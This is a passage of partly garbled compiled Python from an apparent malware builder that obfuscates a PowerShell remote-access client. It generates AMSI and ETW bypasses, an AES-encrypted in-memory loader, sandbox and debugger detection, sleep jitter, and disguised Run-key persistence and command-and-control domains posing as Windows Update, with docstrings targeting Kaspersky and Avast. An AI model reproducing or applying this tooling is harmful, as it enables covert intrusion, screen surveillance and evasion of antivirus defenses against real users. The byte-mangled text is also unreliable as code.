.GetField(z,'NonPublic,Static')ú.GetValue($null)z.GetType().GetField(z,'NonPublic,Instance')z
.SetValue(z,0)}z}}}}catch{}r‘   )rL   r;   rO   rG   r{   r^   )Úv_kÚv_t1Úv_t2Úv_t3Úv_asmÚv_typeÚv_fieldÚv_provÚv_efÚn1Ún2Ún3Úb1Úb2Úb3ÚlinesrB   rn   rC   Úgenerate_etw_bypass=  sB    
"
rÙ   c                     sr  t ƒ } dtdƒ }dtdƒ }dtdƒ }dtdƒ }dtdƒ }dtdƒ }dtdƒ }dtdƒ }dtdƒ }	t dd¡‰ d}
d}d}d	 ‡ fd
d„|
D ƒ¡}d	 ‡ fdd„|D ƒ¡}d	 ‡ fdd„|D ƒ¡}d}g }| d¡ | |d tˆ ƒ ¡ | |d | d | d ¡ | |d | d | d ¡ | |d | d | d ¡ | |d ¡ | |d | d | d ¡ | d| d ¡ | |d ¡ | d|	 d | d	 | d ¡ | |d | d |	 d | d ¡ | d| d ¡ | d| d  ¡ | d!| d" ¡ | d#¡ | d| d$ ¡ | d%| d& ¡ | d#¡ | d'¡ | d( |¡ d( S ))ar  AMSI bypass v8.2 - Tecnica hibrida com fallbacks multiplos.
    
    2026 Research Update:
    - pAppName null (+0x08) continua funcionando e NAO e monitorado pelo Defender
    - ETW bypass via m_enabled field 
    - Fallback para s_amsiContext (PS7) e amsiContext (PS5)
    - Strings 100% dinamicas via byte arrays
    - ZERO VirtualProtect, ZERO patch em amsi.dll
    rM   r   r   rZ   rº   z&System.Management.Automation.AmsiUtilsÚs_amsiContextÚamsiContextr\   c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS r½   r]   r`   rn   rB   rC   rD   ˆ  s     z'generate_amsi_bypass.<locals>.<genexpr>c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS r½   r]   r`   rn   rB   rC   rD   ‰  s     c                 3   s"   | ]}t t|ƒˆ  d @ ƒV  qdS r½   r]   r`   rn   rB   rC   rD   Š  s     Ú40r¿   r‡   rÀ   rÁ   rÂ   rÃ   rÄ   rt   rÅ   rÆ   z=[IntPtr]::Zerozforeach(z in @(z)){rÇ   z,[Reflection.BindingFlags]z$_v=rÈ   z$if($_v -and $_v -ne [IntPtr]::Zero){z=[IntPtr]$_v;break}z}}z -ne [IntPtr]::Zero){z.[Runtime.InteropServices.Marshal]::WriteInt64(z,8,0)ú}catch{}r‘   )rÙ   rL   r;   rO   rG   r{   r^   )Úetw_coderÉ   rÊ   rË   rÌ   Úv_rÚv_tyÚv_cxÚv_fdÚv_nÚ	type_nameÚfield1Úfield2Ú
type_bytesÚfield1_bytesÚfield2_bytesÚbf_valrØ   rB   rn   rC   Úgenerate_amsi_bypassi  sN    
"&


rë   )r—   r¨   c           
      C   s¸   t  d¡}t  d¡}|  d¡}dt|ƒd  }|t|g| ƒ7 }tr|tt |¡t	 
|¡tƒ d�}| ¡ }| |¡| ¡  }nddlm} t|||ƒ}|| }	t |¡ ¡ t |	¡ ¡ fS )zECriptografa payload com AES-256-CBC. Retorna (encrypted_b64, key_b64)é    é   rp   ©Úbackendr   )Úsha256)rª   ÚurandomrU   ry   ÚbytesÚCRYPTO_FASTr
   r   ÚAESr   ÚCBCr   Ú	encryptorÚupdateÚfinalizeÚhashlibrð   Ú_aes_cbc_encrypt_purerS   rT   rV   )
r—   rc   ÚivÚ
code_bytesÚpad_lenÚcipherÚencÚ	encryptedrð   Úfull_keyrB   rB   rC   Úaes_encrypt_payload­  s    


r  c                 C   sN  zæddl }ddlm}m}m}m}m} tj 	d¡r<| 
d¡n| 
d¡}	|	 ¡ }
|	 |
|	 ¡ d||¡ |	 |
d¡ |t| ƒd ƒ}|dƒ}|	 |
||| t| ƒ¡ |jd|j… }|dƒ}|	 |
||¡ ||jd|j… 7 }|	 |
¡ |W S    ddlm}m}m} dd	lm} || |¡| |¡|ƒ d
�}| ¡ }| | ¡| ¡   Y S X dS )z2AES-CBC fallback Python puro (lento mas funcional)r   N)ÚcdllÚc_char_pÚc_size_tÚc_intÚcreate_string_bufferz(/usr/lib/x86_64-linux-gnu/libcrypto.so.3zlibcrypto.so.3zlibcrypto.sorí   r	   r   rî   ) ÚstructÚctypesr  r  r  r  r  rª   r«   r¬   ÚLoadLibraryÚEVP_CIPHER_CTX_newÚEVP_EncryptInit_exÚEVP_aes_256_cbcÚEVP_CIPHER_CTX_set_paddingry   ÚEVP_EncryptUpdateÚrawrW   ÚEVP_EncryptFinal_exÚEVP_CIPHER_CTX_freeÚ&cryptography.hazmat.primitives.ciphersr
   r   r   Úcryptography.hazmat.backendsr   rô   rõ   rö   r÷   rø   )Údatarc   rû   r  r  r  r  r  r  ÚlibÚctxÚoutÚoutlÚresultÚfinlÚC2ÚA2ÚM2Údb2rþ   rÿ   rB   rB   rC   rú   Á  s,     
rú   )r|   r¨   c                    s6   t  dd¡‰ d ‡ fdd„| D ƒ¡}d|› dˆ › d�S )	u=   Gera expressÃ£o PS que reconstrÃ³i string via XOR em runtime.rZ   r[   r\   c                 3   s   | ]}t t|ƒˆ A ƒV  qd S r9   r]   r`   rb   rB   rC   rD   Ý  s     z(_obfuscate_string_xor.<locals>.<genexpr>rd   re   rf   rg   )r|   rh   rB   rb   rC   Ú_obfuscate_string_xorÚ  s    r   )rX   r¨   c                    sš   t  dd¡‰ t‡ fdd„| D ƒƒ}t |¡ ¡ }dd„ tdƒD ƒ}g }d}d}|t|ƒk r’||t|ƒ  }| |||| … ¡ ||7 }|d7 }qN|ˆ fS )	uI   Ofusca assembly Base64 com XOR + chunks para evitar detecÃ§Ã£o estÃ¡tica.é!   é~   c                    s   g | ]}t |ƒˆ A ‘qS rB   ©r_   r`   ©Úxor_keyrB   rC   Ú
<listcomp>ã  s     z*_obfuscate_asm_b64_xor.<locals>.<listcomp>c                 S   s   g | ]}t  d d¡‘qS )r1   i�  rŽ   r=   rB   rB   rC   r&  ç  s     é
   r   rZ   )	r;   rO   rò   rS   rT   rV   rH   ry   r{   )rX   Úxored_bytesÚ	xored_b64Úchunk_sizesÚchunksr   ÚidxÚsizerB   r$  rC   Ú_obfuscate_asm_b64_xorà  s    
r.  )r—   Úconfigr¨   c           3   
      s  t | ƒ\}}t ¡ jdd… }ttƒ\}}g ‰ g }t|ƒD ]<\}}	dtt 	dd¡ƒ }
ˆ  
|
¡ | 
|
› d|	› d�¡ q:dtt 	dd¡ƒ }dtt 	dd	¡ƒ }dtt 	dd¡ƒ }dtt 	dd¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd
¡ƒ }dtt 	dd	¡ƒ }dtt 	dd	¡ƒ }t 	dd	¡}t|ƒ| }g }g ‰t|ƒD ]h}|| }||d k �rî|| nt|ƒ}dtt 	dd¡ƒ }
| 
|
› d|||… › d�¡ ˆ 
|
¡ �qÌg }t ¡ dk �rT| 
tƒ ¡ tdƒ} tdƒ}!tdƒ}"| 
|› d| › d|!› d|"› d�¡ tdƒ}#| 
d|#› d|#› d|› d�¡ tt|ƒƒ}$t |$¡ |$D ]\}%}&| 
|&¡ �qÎ‡ fdd„t|$dd„ d�D ƒ}'| 
|› d �d! |'¡ ¡ | 
|› d |› �¡ | 
|› d"|› d�¡ | 
|› d#|› d$|› d%�¡ td&ƒ}(td'ƒ})| 
d(¡ | 
|› d)|(› d*�¡ | 
d+|› d,|› d-�¡ | 
d.¡ tt|ƒƒ}*t |*¡ |*D ]\}%}&| 
|&¡ �qÎ‡fd/d„t|*d0d„ d�D ƒ}+td1ƒ},td2ƒ}-td3ƒ}.td4ƒ}/| 
d(¡ | 
|› d"�d! |+¡ d ¡ | 
|› d5|› d6�¡ | 
|› d7�¡ | 
|› d8|,› d9|› d:�¡ | 
|› d8|-› d9|› d;�¡ | 
|› d8|.› d<�¡ | 
|› d8|/› d=�¡ | 
|› d |› d>�¡ | 
|› d?|› d�¡ | 
|› d@|› dA|› dB�¡ | 
|› dC|› d�¡ | 
|› d |› dD�¡ | 
|› dE|› dE|› dE|› dF�¡ | 
dG|› dH|› �¡ | 
dI¡ g }0t dJdK¡}1t|ƒD ]V\}}&|dLk�rÒt ¡ |1d k �rÒ|0 
tƒ ¡ |0 
|&¡ t ¡ |1k �r¢|0 
tƒ ¡ �q¢dM |0¡dM }2|2||fS )Nu8  Aplica proteÃ§Ã£o ao payload com AES-256-CBC - 100% POLIMÃ“RFICO.
    
    ARQUITETURA v9.1 - Anti-Kaspersky (Totalmente PolimÃ³rfico):
    - Criptografa payload com AES-256-CBC
    - TODAS as strings sÃ£o ofuscadas em runtime
    - Nenhum padrÃ£o fixo detectÃ¡vel
    - Estrutura variÃ¡vel a cada geraÃ§Ã£o
    Né   rM   r   r   rŠ   rq   r   r7   ru   rZ   r2   é	   g      à?ÚMyInvocationÚ	MyCommandÚ
Definitionz=(Get-Variable (z
)).Value.(z).(rt   z-ScriptPathzif($args -contains z){$idx=[array]::IndexOf($args,z-);if($idx -ge 0 -and $idx+1 -lt $args.Count){z=$args[$idx+1]}}c                    s   g | ]\}}ˆ | ‘qS rB   rB   ©r>   r£   r?   )Úasm_chunk_varsrB   rC   r&  J  s     z$apply_aes_loader.<locals>.<listcomp>c                 S   s   | d S ©Nr   rB   ©ÚxrB   rB   rC   rˆ   J  r‰   z"apply_aes_loader.<locals>.<lambda>rb   r‡   rs   ú=[Convert]::FromBase64String(z=-join(ú|%{[char]($_ -bxor rÂ   ÚRÚEr¿   z9=[AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GetType(z)}zif(-not z:){[Reflection.Assembly]::Load([Convert]::FromBase64String(z))|Out-Null}z[R]::E()|Out-Null}catch{}c                    s   g | ]\}}ˆ | ‘qS rB   rB   r5  )Ú
chunk_varsrB   rC   r&  `  s     c                 S   s   | d S r7  rB   r8  rB   rB   rC   rˆ   `  r‰   ÚKeyÚIVÚModeÚPaddingú=[Convert]::FromBase64String('r„   z&=[Security.Cryptography.Aes]::Create()z.(z)=z[0..31]z[32..47]z))=[Security.Cryptography.CipherMode]::CBCz,)=[Security.Cryptography.PaddingMode]::PKCS7z.CreateDecryptor()z=[IO.MemoryStream]::new(z+=[Security.Cryptography.CryptoStream]::new(r\   z0,[Security.Cryptography.CryptoStreamMode]::Read)z=[IO.StreamReader]::new(z.ReadToEnd()z.Dispose();z
.Dispose()z&([scriptblock]::Create(z)) -ScriptPath rÝ   g333333Ã?g      Ð?r   r‘   )r  ÚuuidÚuuid4Úhexr.  ÚGLOBAL_ASM_B64Ú	enumeraterL   r;   rO   r{   ry   rH   r˜   r†   r‚   ÚlistÚshuffleÚsortedrG   Úuniformr�   )3r—   r/  Úencrypted_b64Úkey_b64Úkey_idÚ
asm_chunksÚasm_xor_keyÚasm_chunk_linesr£   r€   ÚvnÚv_asm_concatÚ	v_asm_keyÚv_asm_decodeÚv_asm_finalÚv_encÚv_keyÚv_aesÚv_decÚv_msÚv_csÚv_srÚv_tÚv_sprÎ   Úv_methodr   Ú
chunk_sizeÚchunk_linesr|   r¸   ÚLÚstr_myinvocationÚstr_mycommandÚstr_definitionÚstr_scriptpathÚshuffled_asmr?   ÚlineÚasm_chunk_vars_orderedÚstr_rÚstr_eÚshuffled_chunksÚchunk_vars_orderedÚstr_key_propÚstr_iv_propÚstr_mode_propÚstr_padding_propÚfinal_linesÚjunk_probabilityÚloaderrB   )r6  r>  rC   Úapply_aes_loaderó  sº    
"




"

rw  c                 C   s@  t  d| ¡}|r8| d¡}|r8||d kr8|d  |¡ t  d| ¡}|rp| d¡}|rp||d krp|d  |¡ t  d| ¡}|r¨| d¡}|r¨||d kr¨|d  |¡ t  d| ¡}|rà| d¡}|rà||d krà|d  |¡ t  d| ¡}	|	�rt|	 d¡ƒ}
|
d	k�r|
|d
< t  d| ¡}|�rDt| d¡ƒ}
|
d	k�rD|
|d
< t  d| ¡}|�rš| d¡}t  d|¡}|D ](}|�rp||d k�rp|d  |¡ �qpd}t  || ¡}t|ƒD ],}|dk�r²||d k�r²|d  |¡ �q²d}t  || t j¡}t|ƒD ]>}d|k�r�qü|dk�r�qü||d k�rü|d  |¡ �qü| S )u<   Detecta automaticamente IPs, domÃ­nios e porta do Client.ps1zFallbackIP\s*=\s*"([^"]+)"rZ   r-   zPrimaryDomain\s*=\s*"([^"]+)"r.   z"\[string\]\$Server\s*=\s*"([^"]*)"z\$script:Server\s*=\s*"([^"]+)"z\[int\]\$Port\s*=\s*(\d+)r   r/   z\$script:Port\s*=\s*(\d+)z%\$script:C2Domains\s*=\s*@\(([^)]+)\)z	"([^"]+)"z\b(?:\d{1,3}\.){3}\d{1,3}\b)z	127.0.0.1r   z255.255.255.255z&"([a-z0-9][a-z0-9\-]*\.[a-z0-9\-\.]+)"rM   )zexample.comzlocalhost.local)ÚreÚsearchÚgroupr{   ÚintÚfindallÚsetÚ
IGNORECASE)r—   Úproject_configÚip_matchÚipÚdomain_matchÚdomainÚserver_matchÚserverÚscript_server_matchÚ
port_matchÚport_valÚscript_port_matchÚc2_matchÚdomains_strÚdomainsÚdÚ
ip_patternÚall_ipsÚdomain_patternÚall_domainsrB   rB   rC   Údetect_sensitive_values”  sj    









r’  c                 C   s�  t d d }t d d }dtdƒ }dtdƒ }dtdƒ }d|› d|› d|› d	|› d
|› d|› d|› d|› d|› d�}|  d¡}|dk�r„d}d}	d}
|d }|t| ƒk �rŒ| | }|	�sN|dkrÎd}	|}
n~|dkrà|d7 }nl|dk�rx|d8 }|dk�rx|d }|t| ƒk �r,| | dk�r,|d7 }�q| d|… | | |d…  } �qŒn*||
k�rx|dk�st| |d  dk�rxd}	|d7 }q n||  } | S )uH   Adiciona timing delay no inÃ­cio do script para otimizaÃ§Ã£o de recursosr   éè  r   rM   r   r‘   z = [Environment]::TickCount
z = Get-Random -Minimum z
 -Maximum z
[Threading.Thread]::Sleep(z)
z! = [Environment]::TickCount
if ((z - z) -lt (z - 1000)) { exit }

úparam(rv   r   FNr2   ú"'Trr   rZ   rt   ú 	
ú`)ÚCONFIGrL   Úfindry   )r—   Úmin_msÚmax_msrÊ   r\  rË   Ú
sleep_codeÚparam_startÚparen_countÚ	in_stringÚstring_charr£   ra   Úend_posrB   rB   rC   Úapply_sleep_jitterè  sf    ÿþþþþüüÿþ




&r¢  c              %   C   s¤  d}t t || ¡ƒ}i }t|ƒD ]6\}}d|› d�}| d¡||< |  | d¡|d¡} q tddƒtdd	ƒtdd
ƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtddƒtd d!ƒtd d"ƒtdd#ƒtdd$ƒtd d%ƒtdd"ƒtd d&ƒtdd'ƒtddƒtdd(ƒtdd)ƒd*œ#}| ¡ D ]:\}}	|  d+|› �d+|	› �¡} |  d,|› �d,|	› �¡} �q~d-td.ƒ› �}
d/tdƒ› d0�}d1td ƒ› �}|  d2|
¡} |  d3|¡} |  d4d5|› d6�¡} |  d7d8|› d6�¡} d9}d:}|  ||¡} d;}d<d=„ }t ||| ¡} d>}d?}|  ||¡} |  d@dA¡} |  dBdC¡} | ¡ D ]\}}|  ||¡} �qˆ| S )DuC   Aplica tÃ©cnicas de otimizaÃ§Ã£o de cÃ³digo para melhor performancez((\$script:_asm[A-F]_b64\s*=\s*')[^']+(')Ú__B64_PLACEHOLDER_Ú__r   rZ   r2   Úsbrj   ÚbÚepÚjeÚjcÚcdÚprÚmsÚpcÚscÚmnÚmiÚitÚaqÚfeÚoaÚcaÚcfÚcpÚccÚicÚtkÚtpÚakr   ÚdmÚldÚrcÚrsÚudÚbpÚlpÚucÚus)#ÚScreenBoundsÚBWÚEncoderParamsÚJpegEncoderÚjpegEncoderÚ	jpegCodecÚencoderParamsÚ	MemStreamÚ
PerfConfigÚSecurityConfigÚMonitorsÚSelectedMonitorIndexÚInputTrackActiveÚAutoQREnabledÚ	ForceExitÚOverlayActiveÚ
CropActiveÚCropFormÚCropProcessÚConnectionConfigÚInstallConfigÚInstallTokenÚ
TokenProofÚAesKeyÚDeskModeÚLastDeskÚRobustConfigÚRobustStateÚUseDxgiÚLastDesktopÚBypassOKÚLastProtectionCheckÚProtectionCheckIntervalÚUltraConfigÚ
UltraStateú$script:rM   zGet-r7   ÚWinÚHelperÚGrabúGet-ScreenshotÚFastCapturez#public static Bitmap CaptureScreen(zpublic static Bitmap rr   z::CaptureScreen(z::z-`$g.CopyFromScreen(0, 0, 0, 0, `$bounds.Size)z�`$g.GetType().GetMethod("Cop"+"yFrom"+"Screen", [Type[]]@([Int32],[Int32],[Int32],[Int32],[Drawing.Size])).Invoke(`$g, @(0,0,0,0,`$bounds.Size))z"(\$\w+)\.CopyFromScreen\(([^)]+)\)c                 S   s*   |   d¡}|   d¡}|› d|› d|› d�S )NrZ   rj   z4.GetType().GetMethod("Cop"+"yFrom"+"Screen").Invoke(z, @(z))©rz  )ÚmatchÚvarÚargsrB   rB   rC   Úreplace_copyscreenl  s    

z(apply_bypass.<locals>.replace_copyscreenz;[System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()zy$([Type]("Sys"+"tem.Dra"+"wing.Imag"+"ing.ImageCo"+"decInfo")).GetMethod("Get"+"Image"+"Enco"+"ders").Invoke($null,$null)z'image/jpeg'z('ima' + 'ge/jp' + 'eg')z"image/jpeg"z("ima" + "ge/jp" + "eg"))	rI  rx  ÚfinditerrH  rz  ÚreplacerL   ÚitemsÚsub)r—   Úb64_patternÚb64_matchesÚb64_placeholdersr£   rð  ÚplaceholderÚvar_mappingsÚoldÚnewÚfunc_screenshotÚfunc_capture_classÚfunc_capture_methodÚold_copyÚnew_copyÚcopyscreen_patternró  Úold_encodersÚnew_encodersÚoriginalrB   rB   rC   Úapply_bypass%  s†    Ý&r  c                 C   s   |   dd¡} |   dd¡} | S )u-   Ofusca variÃ¡veis de ambiente de forma seguraz$env:MSEDGE_SKIP_UACz${env:MSEDGE_SKIP_UAC}z`$env:MSEDGE_SKIP_UACz`${env:MSEDGE_SKIP_UAC}©rõ  ©r—   rB   rB   rC   Úapply_env_var_obfuscation„  s    	þþr  c                 C   sb   ddddg}|D ]L\}}|   d|› d�d|› d�¡} |   d|› d�d	|› d
�¡} |   ||¡} q| S )z3Ofusca caminhos de Registry mantendo funcionalidade)ú3HKCU:\Software\Microsoft\Windows\CurrentVersion\Runr  )ú3HKLM:\Software\Microsoft\Windows\CurrentVersion\Runr  )ú-Software\Microsoft\Windows\CurrentVersion\Runr  )ú#HKCU:\Software\Microsoft\EdgeUpdater  r�   ú("ú")rq   rƒ   r„   r	  )r—   Úregistry_patternsr  Ú
obfuscatedrB   rB   rC   Úapply_registry_path_obfuscation™  s    ùr  c                 C   s   ddddg}| S )z"Randomiza nomes de Scheduled TasksÚTaskNameÚsvcNameÚserviceNameÚtaskNamerB   )r—   Útask_patternsrB   rB   rC   Úapply_task_name_randomization¯  s       ÿr  c                 C   s&   ddg}|D ]\}}|   ||¡} q| S )zOfusca caminhos de AppData)úAppData\Roamingr  )úAppData\Localr  r	  )r—   Úappdata_patternsr  r  rB   rB   rC   Úapply_appdata_path_obfuscation½  s    þr  c                 C   sX   dddddg}|D ]@\}}|   d|› d�d|› d�¡} |   d	|› d	�d
|› d�¡} q| S )u4   Ofusca nomes de executÃ¡veis mantendo funcionalidade)úpowershell.exer  )úcmd.exer   )ú.ps1r!  )ú.txtr"  )ú.csr#  r�   r  r  rq   rƒ   r„   r	  )r—   Úexec_patternsr  r  rB   rB   rC   Ú!apply_executable_name_obfuscationË  s    ûr%  c           	      C   sÐ   dddg}|D ]¼}|| krqg }d}|t |ƒk r~t |ƒ| }td|ƒ}|dkrZt d|¡n|}| |||| … ¡ ||7 }q$d dd	„ |D ƒ¡}|  d
|› d
�d|› d�¡} |  d|› d�d|› d�¡} q| S )u5   Ofusca domÃ­nios via concatenaÃ§Ã£o segura de stringszcdn.windowsupdates.cozwindowsupdates.cozc.windowsk-cdn.comr   r   rj   rs   c                 S   s   g | ]}d |› d �‘qS )r�   rB   )r>   ÚpartrB   rB   rC   r&  ü  s     z,apply_domain_obfuscation.<locals>.<listcomp>r�   rr   rt   rq   )ry   rž   r;   rO   r{   rG   rõ  )	r—   rŒ  rƒ  r~   r£   Ú	remainingr4   r-  r  rB   rB   rC   Úapply_domain_obfuscationÞ  s&    ý

r(  c           	      C   s  d}|   d¡}|dkrød}d}d}|d }|t| ƒk rö| | }|sÈ|dkrTd	}|}qì|d
krf|d7 }qì|dkrì|d8 }|dkrì|d }|t| ƒk r¨| | dkr¨|d7 }q†| d|… | | |d…  } qön$||krì|dksè| |d  dkrìd}|d7 }q*n||  } | S )uJ   Adiciona tÃ©cnicas anti-detecÃ§Ã£o dinÃ¢mica para comportamento em runtimeuC  
# Anti-detecÃ§Ã£o dinÃ¢mica (verifica se estÃ¡ sendo analisado)
$script:DetectionCheck = {
    try {
        $p = Get-Process | Where-Object { $_.ProcessName -match 'winapioverride|procmon|fiddler|burp|apimonitor|ida|x64dbg' }
        if ($p) { return $true }

        $r = Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty 'ProgramFilesPath' -ErrorAction SilentlyContinue
        if ($r -like '*sandbox*') { return $true }

        if ([Environment]::UserName -eq 'Sandbox' -or [Environment]::UserName -eq 'Guest') { return $true }

        return $false
    } catch { return $false }
}

# VariaÃ§Ã£o aleatÃ³ria de delays para parecer natural
$script:RandomDelay = {
    param([int]$min=1, [int]$max=5)
    Start-Sleep -Milliseconds (Get-Random -Minimum $min -Maximum $max)
}

# FunÃ§Ã£o para reduzir operaÃ§Ãµes se detectado
$script:AdaptiveThrottle = {
    if (& $script:DetectionCheck) {
        & $script:RandomDelay -min 20 -max 50
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 5)
    }
}

r”  rv   r   FNr2   r•  Trr   rZ   rt   r–  r—  )r™  ry   )	r—   Úanti_detection_coder�  rž  rŸ  r   r£   ra   r¡  rB   rB   rC   Úapply_anti_detection_evasion  s8    "


 r*  c                 C   s6   t  dd| ¡} |  dd¡} |  dd¡} |  dd¡} | S )z6Protecoes minimas que realmente funcionam - v7.2 LIMPOzEWindowStyle\s*=\s*\[System\.Diagnostics\.ProcessWindowStyle\]::HiddenzWindowStyle = 0z-EncodedCommandz-encz-encodedcommandz"[System.Reflection.Assembly]::Loadz[Reflection.Assembly]::Load)rx  r÷  rõ  r
  rB   rB   rC   Ú#apply_suspicious_pattern_protectionJ  s    
 þr+  c              
   C   sX   ddddddddd	d
g
}|D ]\}}|   ||¡} qddg}|D ]\}}|   ||¡} q>| S )uÐ  v8.9 Anti-Avast: OfuscaÃ§Ã£o SEGURA com concatenaÃ§Ã£o em contextos especÃ­ficos
    
    IMPORTANTE: SÃ³ ofusca em contextos onde a concatenaÃ§Ã£o Ã© vÃ¡lida!
    - New-Object "Type" -> New-Object ("Ty"+"pe")
    - Strings literais em atribuiÃ§Ãµes
    
    NÃƒO TOCA em:
    - [Type]::Method - tipos literais nÃ£o aceitam concatenaÃ§Ã£o
    - JSON/here-strings
    - CÃ³digo fora de strings
    
    Fonte: github.com/t3l3machus/PowerShell-Obfuscation-Bible
    )z'New-Object System.Net.Sockets.TcpClientz4New-Object ("Sys"+"tem.Net"+".Sockets.Tc"+"pClient"))z New-Object Net.Sockets.TcpClientz*New-Object ("Net.Sock"+"ets.Tcp"+"Client"))z!New-Object System.IO.MemoryStreamz+New-Object ("Sys"+"tem.IO.Mem"+"oryStream"))z!New-Object System.IO.BinaryWriterz+New-Object ("Sys"+"tem.IO.Bin"+"aryWriter"))z!New-Object System.IO.BinaryReaderz+New-Object ("Sys"+"tem.IO.Bin"+"aryReader"))zNew-Object IO.MemoryStreamz!New-Object ("IO.Mem"+"oryStream"))zNew-Object IO.BinaryWriterz!New-Object ("IO.Bin"+"aryWriter"))zNew-Object IO.BinaryReaderz!New-Object ("IO.Bin"+"aryReader"))zNew-Object System.Net.WebClientz)New-Object ("Sys"+"tem.Net.Web"+"Client"))zNew-Object Net.WebClientzNew-Object ("Net.Web"+"Client"))z-AssemblyName System.Drawingz&-AssemblyName ("Sys"+"tem.Dra"+"wing"))z"-AssemblyName System.Windows.Formsz/-AssemblyName ("Sys"+"tem.Win"+"dows.For"+"ms")r	  )r—   r  Únewobj_patternsÚold_objÚnew_objÚassembly_patternsÚold_asmÚnew_asmrB   rB   rC   Úapply_string_encryptiona  s&    èýr2  c                 C   s‚   ddddddddd	d
dg}|D ]^}t t dd¡ƒ}d|› �d|› �fd|› �d|› �fg}|D ]\}}|| kr^|  ||¡} q^q| S )u#   Renomeia variÃ¡veis de forma seguraÚserverIPÚ
serverPortÚ	tcpClientÚnetworkStreamÚbinaryWriterÚbinaryReaderÚ	machineIdÚlastPingÚscreenCaptureÚcaptureThreadÚremoteShellr2   r   rM   ré  )rL   r;   rO   rõ  )r—   Úvars_to_renamerñ  Únew_nameÚpatternsrý  rþ  rB   rB   rC   Úapply_variable_rename¤  s*            ýþrA  c                     sÄ   d}t  || ¡}dddddddd	d
dddddddddddddddddddddd d!h ‰ ‡ fd"d#„t|ƒD ƒ}|D ]P}d$td%ƒ }t  d&t  |¡› d'�d(|› d)�| ¡} t  d*t  |¡› d+�|| ¡} qn| S ),u*   Renomeia funÃ§Ãµes definidas pelo usuÃ¡rioz+function\s+([A-Za-z][A-Za-z0-9_-]*)\s*[{\(]ÚMainÚmainzGet-Helpz
Write-HostzWrite-ErrorzWrite-OutputzWrite-Verbosez	Read-HostzStart-SleepzGet-DatezGet-ProcesszGet-ServicezGet-ContentzSet-ContentzOut-Filez	Test-PathzNew-ItemzRemove-Itemz	Copy-Itemz	Move-ItemzInvoke-ExpressionzInvoke-CommandzStart-ProcesszStop-ProcesszStart-DxgiWorkerzStop-DxgiWorkerzTest-DxgiWorkerAliverí  zGet-MonitorListzGet-SelectedMonitorzSend-MonitorListz
Send-Framec                    s   g | ]}|ˆ kr|‘qS rB   rB   ©r>   r±   ©Úprotected_funcsrB   rC   r&  Ð  s      z)apply_function_rename.<locals>.<listcomp>zInvoke-r7   zfunction\s+z
\s*([{\(])ú	function z \1z(?<!["\'])\bz\b(?!["\']))rx  r|  r}  rL   r÷  Úescape)r—   Úfunc_patternÚmatchesÚ
user_funcsÚfuncr?  rB   rE  rC   Úapply_function_rename½  sR                           ö$rM  c                 C   s   | S )u<  v8.9: Desabilitada - ofuscaÃ§Ã£o de tipos agora Ã© feita em apply_string_encryption
    
    IMPORTANTE: NÃ£o podemos ofuscar tipos literais como [System.Net.Sockets.TcpClient]
    porque concatenaÃ§Ã£o NÃƒO funciona dentro de colchetes de tipo!
    
    Apenas New-Object aceita concatenaÃ§Ã£o no nome do tipo.
    rB   r
  rB   rB   rC   Úapply_type_obfuscationÝ  s    rN  c                    s|  |   d¡}g }d}d}dg}|D �]N‰ ˆ  ¡ ‰dˆks>dˆkrBd}dˆksRdˆkrVd}d	ˆkrf|sfd}d
ˆkrx|sxd}q |r~q |�sfˆ d¡r´ˆ d
¡s´t‡fdd„|D ƒƒ}|s´q dˆ k�rf|�sft‡ fdd„|D ƒƒ}|�sfd}d}g }	d}
|
tˆ ƒk �rXˆ |
 }|dk�r0|�s d}|}n||k�rDd}n|dk�rD|�sD�qX|	 |¡ |
d7 }
qðd |	¡ ¡ ‰ | ˆ ¡ q d |¡S )u:   Remove comentÃ¡rios PowerShell (mas preserva here-strings)r‘   FzAnti-sandboxú@"ú@'Tú"@ú'@z<#z#>ú#c                 3   s   | ]}|ˆ kV  qd S r9   rB   ©r>   Úmarker)ÚstrippedrB   rC   rD     s     z(apply_comment_removal.<locals>.<genexpr>c                 3   s   | ]}|ˆ kV  qd S r9   rB   rT  )rj  rB   rC   rD     s     Nr   r•  rZ   r8   )Úsplitr“   Ú
startswithÚanyry   r{   rG   Úrstrip)r—   rØ   Ú	new_linesÚin_herestringÚin_block_commentÚpreserve_markersÚshould_preserverŸ  Ú
quote_charÚnew_liner£   ra   rB   )rj  rV  rC   Úapply_comment_removalï  sZ    





rb  c                 C   sX   ddddddddd	d
dg}|D ]4\}}d|› d�}t  || ¡rt  |d|› �| ¡} q| S )u5   Ofusca alguns nÃºmeros mÃ¡gicos - CORRIGIDO COM REGEX)i'  z(5000+5000))i    z
(8000+192))i�  z	(8000+80))i³  z
(5000+555))iˆ  z(2500+2500))i\  z
(4000+444))i   z	(4000+96))i   z	(1000+24))r“  z	(500+500))i»  z(400+43))éP   z(40+40)z(=\s*)z(?!\d)z\g<1>)rx  ry  r÷  )r—   Únumbers_to_obfuscateÚnumÚreplacementÚpatternrB   rB   rC   Úapply_number_obfuscation0  s"    ôrh  c                 C   sb  |   d¡}g }d}tƒ }t|ƒD ]F\}}| ¡ }d|ks@d|krDd}|r | |¡ d|ksbd|kr d}q g }t|ƒD ]`\}}||kr†qt| ¡ }| d¡sª| d	¡sª|d
krt|dkrtt ¡ dk rt|d |krt| |¡ qtt 	|t
t|ƒtd ƒ¡}t|ƒD ]^\}}| |¡ ||krøtt dd¡ƒD ]2}	t|ƒt| ¡ ƒ }
tƒ }| d|
